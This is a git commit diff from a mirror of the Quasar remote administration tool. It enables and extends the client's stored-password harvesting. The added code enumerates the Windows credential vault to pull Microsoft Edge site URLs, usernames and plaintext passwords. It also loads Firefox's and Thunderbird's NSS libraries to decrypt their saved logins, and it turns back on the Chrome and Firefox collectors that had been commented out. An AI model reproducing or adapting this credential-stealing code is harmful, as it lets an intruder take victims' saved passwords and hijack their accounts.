mirror of https://github.com/quasar/Quasar.git
Fixed Firefox pw recovery and added Thunderbird + MS Edge (including newer IE versions)
This commit is contained in:
parent
9a81631f65
commit
137d2973f7
|
@ -51,6 +51,9 @@
|
|||
<Reference Include="System.Security" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
<Reference Include="System.Xml" />
|
||||
<Reference Include="Windows.Security">
|
||||
<HintPath>..\..\..\..\..\..\..\Windows\System32\WinMetadata\Windows.Security.winmd</HintPath>
|
||||
</Reference>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Core\AForge\Video.DirectShow\CameraControlProperty.cs" />
|
||||
|
|
|
@ -23,12 +23,12 @@ namespace xClient.Core.Commands
|
|||
{
|
||||
List<RecoveredAccount> recovered = new List<RecoveredAccount>();
|
||||
|
||||
// recovered.AddRange(Chrome.GetSavedPasswords());
|
||||
recovered.AddRange(Chrome.GetSavedPasswords());
|
||||
recovered.AddRange(Opera.GetSavedPasswords());
|
||||
recovered.AddRange(Yandex.GetSavedPasswords());
|
||||
recovered.AddRange(InternetExplorer.GetSavedPasswords());
|
||||
// recovered.AddRange(Firefox.GetSavedPasswords());
|
||||
// Thunderbird.nssModule = Firefox.NssModule;
|
||||
recovered.AddRange(Firefox.GetSavedPasswords());
|
||||
recovered.AddRange(Edge.GetPasswords());
|
||||
recovered.AddRange(Outlook.GetSavedPasswords());
|
||||
recovered.AddRange(Thunderbird.GetSavedPasswords());
|
||||
recovered.AddRange(FileZilla.GetSavedPasswords());
|
||||
|
|
|
@ -11,226 +11,113 @@ namespace xClient.Core.Recovery.Browsers
|
|||
{
|
||||
public static class Edge
|
||||
{
|
||||
public enum CredentialType : uint
|
||||
[StructLayout(LayoutKind.Sequential, Pack = 4)]
|
||||
//[StructLayout(LayoutKind.Sequential)]
|
||||
private struct VAULT_ITEM
|
||||
{
|
||||
None = 0,
|
||||
Generic = 1,
|
||||
DomainPassword = 2,
|
||||
DomainCertificate = 3,
|
||||
DomainVisiblePassword = 4
|
||||
public Guid SchemaId;
|
||||
public IntPtr CredentialFriendlyName;
|
||||
public IntPtr ResourceElement;
|
||||
public IntPtr IdentityElement;
|
||||
public IntPtr AuthenticatorElement;
|
||||
// Win8+ specific
|
||||
public IntPtr PackageSid;
|
||||
public ulong LastModified;
|
||||
public uint Flags;
|
||||
public uint PropertiesCount;
|
||||
public IntPtr PropertyElements;
|
||||
}
|
||||
|
||||
public const int CREDUI_MAX_USERNAME_LENGTH = 513;
|
||||
public const int CREDUI_MAX_PASSWORD_LENGTH = 256;
|
||||
public const int CREDUI_MAX_MESSAGE_LENGTH = 32767;
|
||||
public const int CREDUI_MAX_CAPTION_LENGTH = 128;
|
||||
[DllImport("vaultcli.dll", CallingConvention = CallingConvention.Winapi, CharSet = CharSet.Auto)]
|
||||
internal static extern int VaultEnumerateVaults(int flags, out int ucount, out IntPtr items);
|
||||
|
||||
[DllImport("vaultcli.dll", CallingConvention = CallingConvention.Winapi, CharSet = CharSet.Auto)]
|
||||
internal static extern int VaultEnumerateItems(IntPtr hVault, int flags, out int itemCount, out IntPtr items);
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
internal struct CREDENTIAL
|
||||
[DllImport("vaultcli.dll", CallingConvention = CallingConvention.Winapi)]
|
||||
internal static extern int VaultOpenVault(IntPtr vaultId, int flags, out IntPtr vaultHandle);
|
||||
|
||||
[DllImport("vaultcli.dll", CallingConvention = CallingConvention.Winapi)]
|
||||
internal static extern int VaultGetItem(IntPtr hVault, ref Guid schemaId, IntPtr resource, IntPtr identity, IntPtr packageSid, int owner, int flags, ref IntPtr item);
|
||||
|
||||
[DllImport("vaultcli.dll", CallingConvention = CallingConvention.Winapi)]
|
||||
internal static extern int VaultFree(IntPtr pMem);
|
||||
|
||||
[DllImport("vaultcli.dll", CallingConvention = CallingConvention.Winapi)]
|
||||
internal static extern int VaultCloseVault(IntPtr hVault);
|
||||
|
||||
private const string VaultWebCredentialId = "3ccd5499-87a8-4b10-a215-608888dd3b55";
|
||||
|
||||
private static bool NtSuccess(int code)
|
||||
{
|
||||
public int Flags;
|
||||
public int Type;
|
||||
[MarshalAs(UnmanagedType.LPWStr)] public string TargetName;
|
||||
[MarshalAs(UnmanagedType.LPWStr)] public string Comment;
|
||||
public long LastWritten;
|
||||
public int CredentialBlobSize;
|
||||
public IntPtr CredentialBlob;
|
||||
public int Persist;
|
||||
public int AttributeCount;
|
||||
public IntPtr Attributes;
|
||||
[MarshalAs(UnmanagedType.LPWStr)] public string TargetAlias;
|
||||
[MarshalAs(UnmanagedType.LPWStr)] public string UserName;
|
||||
return code == 0;
|
||||
}
|
||||
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
|
||||
public struct CREDUI_INFO
|
||||
public static List<RecoveredAccount> GetPasswords()
|
||||
{
|
||||
public int cbSize;
|
||||
public IntPtr hwndParent;
|
||||
public string pszMessageText;
|
||||
public string pszCaptionText;
|
||||
public IntPtr hbmBanner;
|
||||
}
|
||||
var retList = new List<RecoveredAccount>();
|
||||
|
||||
[Flags]
|
||||
internal enum WINXP_CREDUI_FLAGS
|
||||
{
|
||||
INCORRECT_PASSWORD = 0x00001,
|
||||
DO_NOT_PERSIST = 0x00002,
|
||||
REQUEST_ADMINISTRATOR = 0x00004,
|
||||
EXCLUDE_CERTIFICATES = 0x00008,
|
||||
REQUIRE_CERTIFICATE = 0x00010,
|
||||
SHOW_SAVE_CHECK_BOX = 0x00040,
|
||||
ALWAYS_SHOW_UI = 0x00080,
|
||||
REQUIRE_SMARTCARD = 0x00100,
|
||||
PASSWORD_ONLY_OK = 0x00200,
|
||||
VALIDATE_USERNAME = 0x00400,
|
||||
COMPLETE_USERNAME = 0x00800,
|
||||
PERSIST = 0x01000,
|
||||
SERVER_CREDENTIAL = 0x04000,
|
||||
EXPECT_CONFIRMATION = 0x20000,
|
||||
GENERIC_CREDENTIALS = 0x40000,
|
||||
USERNAME_TARGET_CREDENTIALS = 0x80000,
|
||||
KEEP_USERNAME = 0x100000,
|
||||
}
|
||||
|
||||
[Flags]
|
||||
internal enum WINVISTA_CREDUI_FLAGS
|
||||
{
|
||||
/// <summary>
|
||||
/// The caller is requesting that the credential provider return the user name and password in plain text.
|
||||
/// This value cannot be combined with SECURE_PROMPT.
|
||||
/// </summary>
|
||||
CREDUIWIN_GENERIC = 0x1,
|
||||
|
||||
/// <summary>
|
||||
/// The Save check box is displayed in the dialog box.
|
||||
/// </summary>
|
||||
CREDUIWIN_CHECKBOX = 0x2,
|
||||
|
||||
/// <summary>
|
||||
/// Only credential providers that support the authentication package specified by the authPackage parameter should be enumerated.
|
||||
/// This value cannot be combined with CREDUIWIN_IN_CRED_ONLY.
|
||||
/// </summary>
|
||||
CREDUIWIN_AUTHPACKAGE_ONLY = 0x10,
|
||||
|
||||
/// <summary>
|
||||
/// Only the credentials specified by the InAuthBuffer parameter for the authentication package specified by the authPackage parameter should be enumerated.
|
||||
/// If this flag is set, and the InAuthBuffer parameter is NULL, the function fails.
|
||||
/// This value cannot be combined with CREDUIWIN_AUTHPACKAGE_ONLY.
|
||||
/// </summary>
|
||||
CREDUIWIN_IN_CRED_ONLY = 0x20,
|
||||
|
||||
/// <summary>
|
||||
/// Credential providers should enumerate only administrators. This value is intended for User Account Control (UAC) purposes only. We recommend that external callers not set this flag.
|
||||
/// </summary>
|
||||
CREDUIWIN_ENUMERATE_ADMINS = 0x100,
|
||||
|
||||
/// <summary>
|
||||
/// Only the incoming credentials for the authentication package specified by the authPackage parameter should be enumerated.
|
||||
/// </summary>
|
||||
CREDUIWIN_ENUMERATE_CURRENT_USER = 0x200,
|
||||
|
||||
/// <summary>
|
||||
/// The credential dialog box should be displayed on the secure desktop. This value cannot be combined with CREDUIWIN_GENERIC.
|
||||
/// Windows Vista: This value is not supported until Windows Vista with SP1.
|
||||
/// </summary>
|
||||
CREDUIWIN_SECURE_PROMPT = 0x1000,
|
||||
|
||||
/// <summary>
|
||||
/// The credential provider should align the credential BLOB pointed to by the refOutAuthBuffer parameter to a 32-bit boundary, even if the provider is running on a 64-bit system.
|
||||
/// </summary>
|
||||
CREDUIWIN_PACK_32_WOW = 0x10000000,
|
||||
}
|
||||
|
||||
internal enum CredUIReturnCodes
|
||||
{
|
||||
NO_ERROR = 0,
|
||||
ERROR_CANCELLED = 1223,
|
||||
ERROR_NO_SUCH_LOGON_SESSION = 1312,
|
||||
ERROR_NOT_FOUND = 1168,
|
||||
ERROR_INVALID_ACCOUNT_NAME = 1315,
|
||||
ERROR_INSUFFICIENT_BUFFER = 122,
|
||||
ERROR_BAD_ARGUMENTS = 160,
|
||||
ERROR_INVALID_PARAMETER = 87,
|
||||
ERROR_INVALID_FLAGS = 1004,
|
||||
}
|
||||
|
||||
internal enum CREDErrorCodes
|
||||
{
|
||||
NO_ERROR = 0,
|
||||
ERROR_NOT_FOUND = 1168,
|
||||
ERROR_NO_SUCH_LOGON_SESSION = 1312,
|
||||
ERROR_INVALID_PARAMETER = 87,
|
||||
ERROR_INVALID_FLAGS = 1004,
|
||||
ERROR_BAD_USERNAME = 2202,
|
||||
SCARD_E_NO_READERS_AVAILABLE = (int) (0x8010002E - 0x100000000),
|
||||
SCARD_E_NO_SMARTCARD = (int) (0x8010000C - 0x100000000),
|
||||
SCARD_W_REMOVED_CARD = (int) (0x80100069 - 0x100000000),
|
||||
SCARD_W_WRONG_CHV = (int) (0x8010006B - 0x100000000)
|
||||
}
|
||||
|
||||
[DllImport("Advapi32.dll", EntryPoint = "CredReadW", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
internal static extern bool CredRead(string target, CredentialType type, int reservedFlag,
|
||||
out IntPtr CredentialPtr);
|
||||
|
||||
[DllImport("Advapi32.dll", EntryPoint = "CredWriteW", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
internal static extern bool CredWrite([In] ref CREDENTIAL userCredential, [In] UInt32 flags);
|
||||
|
||||
[DllImport("Advapi32.dll", EntryPoint = "CredFree", SetLastError = true)]
|
||||
internal static extern bool CredFree([In] IntPtr cred);
|
||||
|
||||
[DllImport("advapi32.dll", EntryPoint = "CredDeleteW", CharSet = CharSet.Unicode)]
|
||||
internal static extern bool CredDelete(StringBuilder target, CredentialType type, int flags);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
|
||||
internal static extern bool CredEnumerateW(string filter, int flag, out uint count, out IntPtr pCredentials);
|
||||
|
||||
[DllImport("credui.dll")]
|
||||
internal static extern CredUIReturnCodes CredUIPromptForCredentials(ref CREDUI_INFO creditUR, string targetName,
|
||||
IntPtr reserved1, int iError, StringBuilder userName, int maxUserName, StringBuilder password,
|
||||
int maxPassword, [MarshalAs(UnmanagedType.Bool)] ref bool pfSave, int flags);
|
||||
|
||||
[DllImport("credui.dll", CharSet = CharSet.Unicode)]
|
||||
internal static extern CredUIReturnCodes CredUIPromptForWindowsCredentials(ref CREDUI_INFO notUsedHere,
|
||||
int authError, ref uint authPackage, IntPtr InAuthBuffer, uint InAuthBufferSize, out IntPtr refOutAuthBuffer,
|
||||
out uint refOutAuthBufferSize, ref bool fSave, int flags);
|
||||
|
||||
[DllImport("ole32.dll")]
|
||||
internal static extern void CoTaskMemFree(IntPtr ptr);
|
||||
|
||||
[DllImport("credui.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
internal static extern Boolean CredPackAuthenticationBuffer(int dwFlags, StringBuilder pszUserName,
|
||||
StringBuilder pszPassword, IntPtr pPackedCredentials, ref int pcbPackedCredentials);
|
||||
|
||||
[DllImport("credui.dll", CharSet = CharSet.Auto)]
|
||||
internal static extern bool CredUnPackAuthenticationBuffer(int dwFlags, IntPtr pAuthBuffer, uint cbAuthBuffer,
|
||||
StringBuilder pszUserName, ref int pcchMaxUserName, StringBuilder pszDomainName, ref int pcchMaxDomainame,
|
||||
StringBuilder pszPassword, ref int pcchMaxPassword);
|
||||
|
||||
internal sealed class CriticalCredentialHandle : CriticalHandleZeroOrMinusOneIsInvalid
|
||||
{
|
||||
// Set the handle.
|
||||
internal CriticalCredentialHandle(IntPtr preexistingHandle)
|
||||
try
|
||||
{
|
||||
SetHandle(preexistingHandle);
|
||||
}
|
||||
|
||||
internal CREDENTIAL GetCredential()
|
||||
{
|
||||
|
||||
if (!IsInvalid)
|
||||
int count;
|
||||
IntPtr items;
|
||||
if (NtSuccess(VaultEnumerateVaults(0, out count, out items)))
|
||||
{
|
||||
// Get the Credential from the mem location
|
||||
return (CREDENTIAL) Marshal.PtrToStructure(handle, typeof(CREDENTIAL));
|
||||
}
|
||||
else
|
||||
{
|
||||
throw new InvalidOperationException("Invalid CriticalHandle!");
|
||||
for (var i = 0; i < count; i++)
|
||||
{
|
||||
IntPtr hVault;
|
||||
if (NtSuccess(VaultOpenVault(items + i*Marshal.SizeOf(typeof(Guid)), 0, out hVault)))
|
||||
{
|
||||
IntPtr pItems;
|
||||
int itemCount;
|
||||
if (
|
||||
NtSuccess(VaultEnumerateItems(hVault, 512 /* VAULT_ENUMERATE_ALL_ITEMS */, out itemCount,
|
||||
out pItems)))
|
||||
{
|
||||
for (var j = 0; j < itemCount; j++)
|
||||
{
|
||||
var vaultItem =
|
||||
(VAULT_ITEM)
|
||||
Marshal.PtrToStructure(pItems + j*Marshal.SizeOf(typeof(VAULT_ITEM)),
|
||||
typeof(VAULT_ITEM));
|
||||
var acc = new RecoveredAccount();
|
||||
|
||||
// We're only interested in web credentials
|
||||
if (vaultItem.SchemaId.Equals(new Guid(VaultWebCredentialId)))
|
||||
{
|
||||
acc.Application = "Microsoft Edge";
|
||||
acc.URL = Marshal.PtrToStringUni(vaultItem.ResourceElement + 32);
|
||||
acc.Username = Marshal.PtrToStringUni(vaultItem.IdentityElement + 32);
|
||||
|
||||
var pPasswVaultItem = IntPtr.Zero;
|
||||
if (
|
||||
NtSuccess(VaultGetItem(hVault, ref vaultItem.SchemaId,
|
||||
vaultItem.ResourceElement,
|
||||
vaultItem.IdentityElement, IntPtr.Zero, 0, 0,
|
||||
ref pPasswVaultItem)))
|
||||
{
|
||||
var passwVaultItem =
|
||||
(VAULT_ITEM) Marshal.PtrToStructure(pPasswVaultItem, typeof(VAULT_ITEM));
|
||||
|
||||
acc.Password =
|
||||
Marshal.PtrToStringUni(passwVaultItem.AuthenticatorElement + 32);
|
||||
VaultFree(pPasswVaultItem);
|
||||
|
||||
retList.Add(acc);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
VaultCloseVault(hVault);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Perform any specific actions to release the handle in the ReleaseHandle method.
|
||||
// Often, you need to use Pinvoke to make a call into the Win32 API to release the
|
||||
// handle. In this case, however, we can use the Marshal class to release the unmanaged memory.
|
||||
|
||||
override protected bool ReleaseHandle()
|
||||
catch
|
||||
{
|
||||
// If the handle was set, free it. Return success.
|
||||
if (!IsInvalid)
|
||||
{
|
||||
// NOTE: We should also ZERO out the memory allocated to the handle, before free'ing it
|
||||
// so there are no traces of the sensitive data left in memory.
|
||||
CredFree(handle);
|
||||
// Mark the handle as invalid for future users.
|
||||
SetHandleAsInvalid();
|
||||
return true;
|
||||
}
|
||||
// Return false.
|
||||
return false;
|
||||
}
|
||||
|
||||
return retList;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -19,7 +19,14 @@ namespace xClient.Core.Recovery.Browsers
|
|||
/// </summary>
|
||||
public static class Firefox
|
||||
{
|
||||
public static IntPtr NssModule;
|
||||
private static IntPtr _nssModule;
|
||||
|
||||
private static IntPtr _dll1;
|
||||
private static IntPtr _dll2;
|
||||
private static IntPtr _dll3;
|
||||
private static IntPtr _dll4;
|
||||
private static IntPtr _dll5;
|
||||
private static long _keySlot;
|
||||
|
||||
private static DirectoryInfo firefoxPath;
|
||||
private static DirectoryInfo firefoxProfilePath;
|
||||
|
@ -87,6 +94,23 @@ namespace xClient.Core.Recovery.Browsers
|
|||
{
|
||||
}
|
||||
|
||||
PK11_FreeSlot(_keySlot);
|
||||
NSS_Shutdown();
|
||||
|
||||
if (_dll1 != IntPtr.Zero)
|
||||
FreeLibrary(_dll1);
|
||||
if (_dll2 != IntPtr.Zero)
|
||||
FreeLibrary(_dll2);
|
||||
if (_dll3 != IntPtr.Zero)
|
||||
FreeLibrary(_dll3);
|
||||
if (_dll4 != IntPtr.Zero)
|
||||
FreeLibrary(_dll4);
|
||||
if (_dll5 != IntPtr.Zero)
|
||||
FreeLibrary(_dll5);
|
||||
|
||||
if (_nssModule != IntPtr.Zero)
|
||||
FreeLibrary(_nssModule);
|
||||
|
||||
return firefoxPasswords;
|
||||
}
|
||||
|
||||
|
@ -144,27 +168,30 @@ namespace xClient.Core.Recovery.Browsers
|
|||
#endregion
|
||||
|
||||
#region Functions
|
||||
|
||||
private static void InitializeDelegates(DirectoryInfo firefoxProfilePath, DirectoryInfo firefoxPath)
|
||||
{
|
||||
//Return if under firefox 35 (35+ supported)
|
||||
//Firefox changes their DLL heirarchy/code with different releases
|
||||
//So we need to avoid trying to load a DLL in the wrong order
|
||||
//To prevent pop up saying it could not load the DLL
|
||||
if (new Version(FileVersionInfo.GetVersionInfo(firefoxPath.FullName + "\\firefox.exe").FileVersion).Major < new Version("35.0.0").Major)
|
||||
if (new Version(FileVersionInfo.GetVersionInfo(firefoxPath.FullName + "\\firefox.exe").FileVersion).Major <
|
||||
new Version("35.0.0").Major)
|
||||
return;
|
||||
|
||||
NativeMethods.LoadLibrary(firefoxPath.FullName + "\\msvcr100.dll");
|
||||
NativeMethods.LoadLibrary(firefoxPath.FullName + "\\msvcp100.dll");
|
||||
NativeMethods.LoadLibrary(firefoxPath.FullName + "\\msvcr120.dll");
|
||||
NativeMethods.LoadLibrary(firefoxPath.FullName + "\\msvcp120.dll");
|
||||
NativeMethods.LoadLibrary(firefoxPath.FullName + "\\mozglue.dll");
|
||||
NssModule = NativeMethods.LoadLibrary(firefoxPath.FullName + "\\nss3.dll");
|
||||
IntPtr pProc = NativeMethods.GetProcAddress(NssModule, "NSS_Init");
|
||||
NSS_InitPtr NSS_Init = (NSS_InitPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(NSS_InitPtr));
|
||||
var test = NSS_Init(firefoxProfilePath.FullName);
|
||||
long keySlot = PK11_GetInternalKeySlot();
|
||||
PK11_Authenticate(keySlot, true, 0);
|
||||
_dll1 = NativeMethods.LoadLibrary(firefoxPath.FullName + "\\msvcr100.dll");
|
||||
_dll2 = NativeMethods.LoadLibrary(firefoxPath.FullName + "\\msvcp100.dll");
|
||||
_dll3 = NativeMethods.LoadLibrary(firefoxPath.FullName + "\\msvcr120.dll");
|
||||
_dll4 = NativeMethods.LoadLibrary(firefoxPath.FullName + "\\msvcp120.dll");
|
||||
_dll5 = NativeMethods.LoadLibrary(firefoxPath.FullName + "\\mozglue.dll");
|
||||
_nssModule = NativeMethods.LoadLibrary(firefoxPath.FullName + "\\nss3.dll");
|
||||
IntPtr pProc = NativeMethods.GetProcAddress(_nssModule, "NSS_Init");
|
||||
NSS_InitPtr NSS_Init = (NSS_InitPtr) Marshal.GetDelegateForFunctionPointer(pProc, typeof(NSS_InitPtr));
|
||||
NSS_Init(firefoxProfilePath.FullName);
|
||||
_keySlot = PK11_GetInternalKeySlot();
|
||||
PK11_Authenticate(_keySlot, true, 0);
|
||||
}
|
||||
|
||||
private static DateTime FromUnixTime(long unixTime)
|
||||
{
|
||||
DateTime epoch = new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc);
|
||||
|
@ -257,7 +284,10 @@ namespace xClient.Core.Recovery.Browsers
|
|||
static extern bool FreeLibrary(IntPtr hModule);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
|
||||
private delegate long NSS_InitPtr(string configdir);
|
||||
private delegate int PK11_FreeSlotPtr(long keySlot);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
|
||||
private delegate int NSS_InitPtr(string configdir);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
|
||||
private delegate int PK11SDR_DecryptPtr(ref TSECItem data, ref TSECItem result, int cx);
|
||||
|
@ -344,39 +374,45 @@ namespace xClient.Core.Recovery.Browsers
|
|||
|
||||
#region Delegate Handling
|
||||
|
||||
private static void NSS_Shutdown()
|
||||
private static int NSS_Shutdown()
|
||||
{
|
||||
IntPtr pProc = NativeMethods.GetProcAddress(NssModule, "NSS_Shutdown");
|
||||
IntPtr pProc = NativeMethods.GetProcAddress(_nssModule, "NSS_Shutdown");
|
||||
NSS_ShutdownPtr ptr = (NSS_ShutdownPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(NSS_ShutdownPtr));
|
||||
ptr();
|
||||
FreeLibrary(NssModule);
|
||||
|
||||
return ptr();
|
||||
}
|
||||
// Credit: http://www.codeforge.com/article/249225
|
||||
private static long PK11_GetInternalKeySlot()
|
||||
{
|
||||
IntPtr pProc = NativeMethods.GetProcAddress(NssModule, "PK11_GetInternalKeySlot");
|
||||
IntPtr pProc = NativeMethods.GetProcAddress(_nssModule, "PK11_GetInternalKeySlot");
|
||||
PK11_GetInternalKeySlotPtr ptr = (PK11_GetInternalKeySlotPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(PK11_GetInternalKeySlotPtr));
|
||||
return ptr();
|
||||
}
|
||||
private static long PK11_Authenticate(long slot, bool loadCerts, long wincx)
|
||||
{
|
||||
IntPtr pProc = NativeMethods.GetProcAddress(NssModule, "PK11_Authenticate");
|
||||
IntPtr pProc = NativeMethods.GetProcAddress(_nssModule, "PK11_Authenticate");
|
||||
PK11_AuthenticatePtr ptr = (PK11_AuthenticatePtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(PK11_AuthenticatePtr));
|
||||
return ptr(slot, loadCerts, wincx);
|
||||
}
|
||||
private static int NSSBase64_DecodeBuffer(IntPtr arenaOpt, IntPtr outItemOpt, StringBuilder inStr, int inLen)
|
||||
{
|
||||
IntPtr pProc = NativeMethods.GetProcAddress(NssModule, "NSSBase64_DecodeBuffer");
|
||||
IntPtr pProc = NativeMethods.GetProcAddress(_nssModule, "NSSBase64_DecodeBuffer");
|
||||
NSSBase64_DecodeBufferPtr ptr = (NSSBase64_DecodeBufferPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(NSSBase64_DecodeBufferPtr));
|
||||
return ptr(arenaOpt, outItemOpt, inStr, inLen);
|
||||
}
|
||||
private static int PK11SDR_Decrypt(ref TSECItem data, ref TSECItem result, int cx)
|
||||
{
|
||||
IntPtr pProc = NativeMethods.GetProcAddress(NssModule, "PK11SDR_Decrypt");
|
||||
IntPtr pProc = NativeMethods.GetProcAddress(_nssModule, "PK11SDR_Decrypt");
|
||||
PK11SDR_DecryptPtr ptr = (PK11SDR_DecryptPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(PK11SDR_DecryptPtr));
|
||||
return ptr(ref data, ref result, cx);
|
||||
}
|
||||
|
||||
private static int PK11_FreeSlot(long keySlot)
|
||||
{
|
||||
IntPtr pProc = NativeMethods.GetProcAddress(_nssModule, "PK11_FreeSlot");
|
||||
PK11_FreeSlotPtr ptr = (PK11_FreeSlotPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(PK11_FreeSlotPtr));
|
||||
return ptr(keySlot);
|
||||
}
|
||||
|
||||
private static string Decrypt(string cypherText)
|
||||
{
|
||||
StringBuilder sb = new StringBuilder(cypherText);
|
||||
|
|
|
@ -19,7 +19,14 @@ namespace xClient.Core.Recovery.Other
|
|||
/// </summary>
|
||||
public static class Thunderbird
|
||||
{
|
||||
public static IntPtr nssModule;
|
||||
private static IntPtr _nssModule;
|
||||
|
||||
private static IntPtr _dll1;
|
||||
private static IntPtr _dll2;
|
||||
private static IntPtr _dll3;
|
||||
private static IntPtr _dll4;
|
||||
private static IntPtr _dll5;
|
||||
private static long _keySlot;
|
||||
|
||||
private static DirectoryInfo thunderbirdPath;
|
||||
private static DirectoryInfo thunderbirdProfilePath;
|
||||
|
@ -86,84 +93,55 @@ namespace xClient.Core.Recovery.Other
|
|||
catch (Exception e)
|
||||
{
|
||||
}
|
||||
|
||||
PK11_FreeSlot(_keySlot);
|
||||
NSS_Shutdown();
|
||||
|
||||
if (_dll1 != IntPtr.Zero)
|
||||
FreeLibrary(_dll1);
|
||||
if (_dll2 != IntPtr.Zero)
|
||||
FreeLibrary(_dll2);
|
||||
if (_dll3 != IntPtr.Zero)
|
||||
FreeLibrary(_dll3);
|
||||
if (_dll4 != IntPtr.Zero)
|
||||
FreeLibrary(_dll4);
|
||||
if (_dll5 != IntPtr.Zero)
|
||||
FreeLibrary(_dll5);
|
||||
|
||||
if (_nssModule != IntPtr.Zero)
|
||||
FreeLibrary(_nssModule);
|
||||
|
||||
return thunderbirdPasswords;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Recover thunderbird Cookies from the SQLite3 Database
|
||||
/// </summary>
|
||||
/// <returns>List of Cookies found</returns>
|
||||
public static List<thunderbirdCookie> GetSavedCookies()
|
||||
{
|
||||
List<thunderbirdCookie> data = new List<thunderbirdCookie>();
|
||||
SQLiteHandler sql = new SQLiteHandler(thunderbirdCookieFile.FullName);
|
||||
if (!sql.ReadTable("moz_cookies"))
|
||||
throw new Exception("Could not read cookie table");
|
||||
|
||||
int totalEntries = sql.GetRowCount();
|
||||
|
||||
for (int i = 0; i < totalEntries; i++)
|
||||
{
|
||||
try
|
||||
{
|
||||
string h = sql.GetValue(i, "host");
|
||||
//Uri host = new Uri(h);
|
||||
string name = sql.GetValue(i, "name");
|
||||
string val = sql.GetValue(i, "value");
|
||||
string path = sql.GetValue(i, "path");
|
||||
|
||||
bool secure = sql.GetValue(i, "isSecure") == "0" ? false : true;
|
||||
bool http = sql.GetValue(i, "isSecure") == "0" ? false : true;
|
||||
|
||||
// if this fails we're in deep shit
|
||||
long expiryTime = long.Parse(sql.GetValue(i, "expiry"));
|
||||
long currentTime = ToUnixTime(DateTime.Now);
|
||||
DateTime exp = FromUnixTime(expiryTime);
|
||||
bool expired = currentTime > expiryTime;
|
||||
|
||||
data.Add(new thunderbirdCookie()
|
||||
{
|
||||
Host = h,
|
||||
ExpiresUTC = exp,
|
||||
Expired = expired,
|
||||
Name = name,
|
||||
Value = val,
|
||||
Path = path,
|
||||
Secure = secure,
|
||||
HttpOnly = http
|
||||
});
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
return data;
|
||||
}
|
||||
}
|
||||
return data;
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#region Functions
|
||||
|
||||
private static void InitializeDelegates(DirectoryInfo thunderbirdProfilePath, DirectoryInfo thunderbirdPath)
|
||||
{
|
||||
//Return if under thunderbird 35 (35+ supported)
|
||||
//thunderbird changes their DLL heirarchy/code with different releases
|
||||
//So we need to avoid trying to load a DLL in the wrong order
|
||||
//To prevent pop up saying it could not load the DLL
|
||||
//if (new Version(FileVersionInfo.GetVersionInfo(thunderbirdPath.FullName + "\\thunderbird.exe").FileVersion).Major < new Version("35.0.0").Major)
|
||||
// return;
|
||||
if (new Version(FileVersionInfo.GetVersionInfo(thunderbirdPath.FullName + "\\thunderbird.exe").FileVersion).Major < new Version("35.0.0").Major)
|
||||
return;
|
||||
|
||||
NativeMethods.LoadLibrary(thunderbirdPath.FullName + "\\msvcr100.dll");
|
||||
NativeMethods.LoadLibrary(thunderbirdPath.FullName + "\\msvcp100.dll");
|
||||
NativeMethods.LoadLibrary(thunderbirdPath.FullName + "\\msvcr120.dll");
|
||||
NativeMethods.LoadLibrary(thunderbirdPath.FullName + "\\msvcp120.dll");
|
||||
NativeMethods.LoadLibrary(thunderbirdPath.FullName + "\\mozglue.dll");
|
||||
nssModule = NativeMethods.LoadLibrary(thunderbirdPath.FullName + "\\nss3.dll");
|
||||
IntPtr pProc = NativeMethods.GetProcAddress(nssModule, "NSS_Init");
|
||||
NSS_InitPtr NSS_Init = (NSS_InitPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(NSS_InitPtr));
|
||||
var test = NSS_Init(thunderbirdProfilePath.FullName);
|
||||
long keySlot = PK11_GetInternalKeySlot();
|
||||
PK11_Authenticate(keySlot, true, 0);
|
||||
_dll1 = NativeMethods.LoadLibrary(thunderbirdPath.FullName + "\\msvcr100.dll");
|
||||
_dll2 = NativeMethods.LoadLibrary(thunderbirdPath.FullName + "\\msvcp100.dll");
|
||||
_dll3 = NativeMethods.LoadLibrary(thunderbirdPath.FullName + "\\msvcr120.dll");
|
||||
_dll4 = NativeMethods.LoadLibrary(thunderbirdPath.FullName + "\\msvcp120.dll");
|
||||
_dll5 = NativeMethods.LoadLibrary(thunderbirdPath.FullName + "\\mozglue.dll");
|
||||
_nssModule = NativeMethods.LoadLibrary(thunderbirdPath.FullName + "\\nss3.dll");
|
||||
|
||||
IntPtr pProc = NativeMethods.GetProcAddress(_nssModule, "NSS_Init");
|
||||
NSS_InitPtr NSS_Init = (NSS_InitPtr) Marshal.GetDelegateForFunctionPointer(pProc, typeof(NSS_InitPtr));
|
||||
NSS_Init(thunderbirdProfilePath.FullName);
|
||||
_keySlot = PK11_GetInternalKeySlot();
|
||||
PK11_Authenticate(_keySlot, true, 0);
|
||||
}
|
||||
|
||||
private static DateTime FromUnixTime(long unixTime)
|
||||
{
|
||||
DateTime epoch = new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc);
|
||||
|
@ -204,9 +182,9 @@ namespace xClient.Core.Recovery.Other
|
|||
// get thunderbird path from registry
|
||||
using (RegistryKey key = PlatformHelper.Is64Bit ?
|
||||
